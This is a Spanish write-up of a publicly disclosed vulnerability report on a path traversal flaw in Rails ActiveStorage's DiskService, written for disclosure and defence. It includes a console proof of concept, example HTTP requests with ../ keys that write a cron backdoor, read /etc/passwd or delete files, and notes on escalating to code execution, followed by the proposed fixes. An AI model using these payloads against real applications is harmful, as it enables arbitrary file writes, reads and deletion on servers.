Resumen
El fallo está en activestorage, en concreto en cómo el servicio de almacenamiento en disco (DiskService) traduce la clave de un blob a una ruta del sistema de ficheros. La clave se usaba tal cual, sin comprobar si contenía secuencias ../, de modo que una clave preparada podía apuntar a cualquier ruta del servidor a la que el proceso tuviera acceso.
Para que la clave llegue manipulada hace falta una pieza más: cuando a .attach() se le pasa un Hash, todos sus campos, incluido key:, se reenvían sin filtrar a la creación del blob. La guía oficial de Rails documenta key: como forma de organizar ficheros en carpetas (pensado para S3), así que es fácil que una aplicación acabe construyendo esa clave con datos que vienen del usuario.
El reporte fue enviado el 2 de marzo de 2026, el programa lo marcó como resuelto y se hizo público el 7 de mayo de 2026. HackerOne lo clasifica con severidad media; el investigador estimaba un CVSS de 8,1, dependiendo de cómo exponga cada aplicación este parámetro. Afecta a las aplicaciones que usan ActiveStorage con DiskService (el servicio por defecto en desarrollo y habitual en despliegues de un solo servidor o en instalaciones propias).
La cadena de fallos
Son cinco piezas que, por separado, parecen inofensivas:
1. El Hash de attach() se pasa entero. En activestorage/lib/active_storage/attached/changes/create_one.rb (líneas 82-88), todos los pares clave-valor del Hash se expanden con ** hacia Blob.build_after_unfurling:
when Hash
ActiveStorage::Blob.build_after_unfurling(
**attachable.reverse_merge(
record: record,
service_name: attachment_service_name
).symbolize_keys
)
2. build_after_unfurling acepta cualquier key. En activestorage/app/models/active_storage/blob.rb (líneas 86-89), si key: no es nulo se entrega directamente a ActiveStorage::Blob.new:
def build_after_unfurling(key: nil, io:, filename:, content_type: nil, metadata: nil, service_name: nil, identify: true, record: nil)
new(key: key, filename: filename, content_type: content_type, metadata: metadata, service_name: service_name).tap do |blob|
blob.unfurl(io, identify: identify)
end
end
3. El token seguro no sustituye una clave ya puesta. El blob usa has_secure_token :key, pero el callback de activerecord/lib/active_record/secure_token.rb (líneas 73-77) solo genera la clave aleatoria cuando el atributo está vacío:
set_callback on, on == :initialize ? :after : :before do
if new_record? && !query_attribute(attribute)
send("#{attribute}=", generate_token.call)
end
end
El getter propio de key en blob.rb (líneas 176-179) también respeta el valor existente con self[:key] ||= ....
4. path_for no comprueba que la ruta quede dentro de la raíz. En activestorage/lib/active_storage/service/disk_service.rb (líneas 101-103 y 155-157):
def path_for(key)
File.join root, folder_for(key), key
end
def folder_for(key)
[ key[0..1], key[2..3] ].join("/")
end
File.join no neutraliza ../, así que una clave como ../../etc/cron.d/evil produce una ruta que sale del directorio de almacenamiento.
5. El modelo no valida el formato de la clave. ActiveStorage::Blob valida service_name y checksum, pero no key:
validates :service_name, presence: true
validates :checksum, presence: true, unless: :composed
# No validates :key, format: ...
Las únicas restricciones son NOT NULL y el índice UNIQUE en la base de datos, que no impiden caracteres de recorrido de directorios.
El recorrido completo queda así:
Attacker-controlled input
↓
Hash passed to model.file.attach({ ..., key: "../../malicious" })
↓
create_one.rb: **splat passes key: to build_after_unfurling
↓
blob.rb: Blob.new(key: "../../malicious", ...) — key stored as-is
↓
secure_token.rb: callback sees key is present, skips generation
↓
disk_service.rb: path_for("../../malicious")
→ File.join(root, folder_for(key), key)
→ escapes storage root directory
↓
upload/download/delete operates on arbitrary filesystem path
Pasos de reproducción
Prueba mínima en la consola de Rails
Con una aplicación configurada para usar DiskService:
- Crear un blob con una clave que contenga
../y comprobar que se conserva en lugar de generarse una aleatoria:
blob = ActiveStorage::Blob.build_after_unfurling(
key: "../../traversal_test",
io: StringIO.new("pwned"),
filename: "test.txt"
)
puts blob.key # => "../../traversal_test" (not a secure random token)
- Ver la ruta que calcula el servicio para esa clave:
service = ActiveStorage::Blob.service # DiskService instance
puts service.path_for("../../traversal_test")
# => "/rails/storage/../../tr/../../traversal_test"
# Resolves to a path outside /rails/storage/
- Repetir el proceso a través de
attach(), como lo haría el código de una aplicación, guardar el registro y comprobar que el fichero resultante queda fuera de la raíz:
user = User.new(name: "test")
user.avatar.attach(
io: StringIO.new("arbitrary content"),
filename: "innocent.txt",
key: "../../tmp/activestorage_poc_#{SecureRandom.hex(4)}"
)
user.save!
# Verify file was written outside storage root
poc_key = user.avatar.blob.key
resolved = File.expand_path(service.path_for(poc_key))
storage_root = File.expand_path(service.root)
puts "Key: #{poc_key}"
puts "Resolved path: #{resolved}"
puts "Escaped root?: #{!resolved.start_with?(storage_root)}" # => true
Cómo llegaría desde una petición real
El investigador describe varios patrones de aplicación en los que el atacante controla la clave.
API que deja elegir la ruta. Un controlador que construye key: con un parámetro del usuario:
class Api::V1::DocumentsController < ApiController
def create
file = decode_base64_upload(params[:file_data])
@project.documents.attach(
io: file,
filename: params[:filename],
content_type: params[:content_type],
key: "projects/#{@project.id}/#{params[:path]}" # user input in key
)
render json: { status: "uploaded" }
end
end
Con esta petición, el contenido subido acabaría en /etc/cron.d/backdoor si el proceso tiene permisos para escribir allí:
POST /api/v1/documents HTTP/1.1
Content-Type: application/json
{
"file_data": "KiBldmlsIGNyb250YWIgZW50cnkK",
"filename": "notes.txt",
"content_type": "text/plain",
"path": "../../../../etc/cron.d/backdoor"
}
Strong Parameters que permiten key. Si el controlador incluye :key entre los parámetros permitidos y pasa el Hash a attach():
class AssetsController < ApplicationController
def create
current_user.avatar.attach(avatar_params.merge(io: params[:file].tempfile))
end
private
def avatar_params
params.require(:avatar).permit(:filename, :content_type, :key)
end
end
POST /assets HTTP/1.1
Content-Type: multipart/form-data
avatar[filename]=photo.jpg
avatar[content_type]=image/jpeg
avatar[key]=../../../../../../tmp/malicious_payload
[email protected]
El resultado es la escritura del fichero en /tmp/malicious_payload.
Asignación de atributos con un Hash abierto. Con has_one_attached, el setter del atributo deja pasar el Hash por la misma vía vulnerable si el controlador lo permite sin restricciones:
class User < ApplicationRecord
has_one_attached :avatar
end
class UsersController < ApplicationController
def update
@user.update!(user_params)
end
private
def user_params
params.require(:user).permit(:name, avatar: {}) # permissive Hash permit
end
end
Un cuerpo JSON como { "user": { "avatar": { "io": ..., "filename": "x.jpg", "key": "../../sensitive" } } } introduciría la clave a través de la asignación al modelo.
Lectura y borrado. Una vez guardado un blob con clave manipulada, las operaciones posteriores trabajan sobre la ruta recorrida:
# After malicious blob is saved with key: "../../etc/passwd"
blob = ActiveStorage::Blob.find(malicious_blob_id)
content = blob.download # reads /etc/passwd via DiskService
# Blob with key: "../../important_app_config.yml"
blob.purge # calls service.delete(key) → File.delete(path_for(key))
Si la aplicación sirve el contenido de los blobs (el BlobsController por defecto u otro endpoint de descarga), el atacante puede leer ficheros arbitrarios; y al purgar el blob, manualmente o en la limpieza automática de blobs sin adjuntar, se borra el fichero al que apunta.
Impacto
Cada operación de DiskService se convierte en una primitiva sobre el sistema de ficheros del servidor:
| Operación | Método de DiskService | Qué permite | |---|---|---| | upload | IO.copy_stream(io, make_path_for(key)) | Escribir ficheros arbitrarios y crear directorios con mkdir_p | | download | File.binread path_for(key) | Leer ficheros arbitrarios | | delete | File.delete path_for(key) | Borrar ficheros arbitrarios | | delete_prefixed | Dir.glob(path_for("#{prefix}*")) + rm_rf | Borrado masivo por patrón | | exist? | File.exist? path_for(key) | Saber si un fichero existe |
Con la escritura arbitraria, según el investigador, se puede llegar a ejecución remota de código escribiendo en /etc/cron.d/, en ~/.ssh/authorized_keys, en inicializadores o ficheros de configuración de la aplicación, o en ficheros que Puma o Unicorn vigilan para reiniciarse. Siempre limitado a lo que permitan los permisos del proceso.
La condición para explotarlo es que la aplicación use DiskService y deje que alguna entrada del usuario llegue al Hash que se pasa a .attach(), en especial al campo key:.
Remediación
El programa marcó el reporte como resuelto, pero el texto divulgado no detalla qué cambio se aplicó. El investigador propuso tres medidas, y recomendaba combinar las dos primeras como defensa en profundidad:
Validar el formato de la clave en el modelo, rechazando cualquier carácter fuera de un conjunto seguro:
# activestorage/app/models/active_storage/blob.rb
validates :key, format: {
with: /\A[a-zA-Z0-9\-_]+\z/,
message: "contains invalid characters"
}
Comprobar en path_for que la ruta resuelta sigue dentro de la raíz:
# activestorage/lib/active_storage/service/disk_service.rb
def path_for(key)
path = File.join(root, folder_for(key), key)
full_path = File.expand_path(path)
raise ArgumentError, "key escapes storage root" unless full_path.start_with?(File.expand_path(root))
full_path
end
Descartar key cuando attach() recibe un Hash:
# activestorage/lib/active_storage/attached/changes/create_one.rb
when Hash
ActiveStorage::Blob.build_after_unfurling(
**attachable.except(:key, "key").reverse_merge(
record: record,
service_name: attachment_service_name
).symbolize_keys
)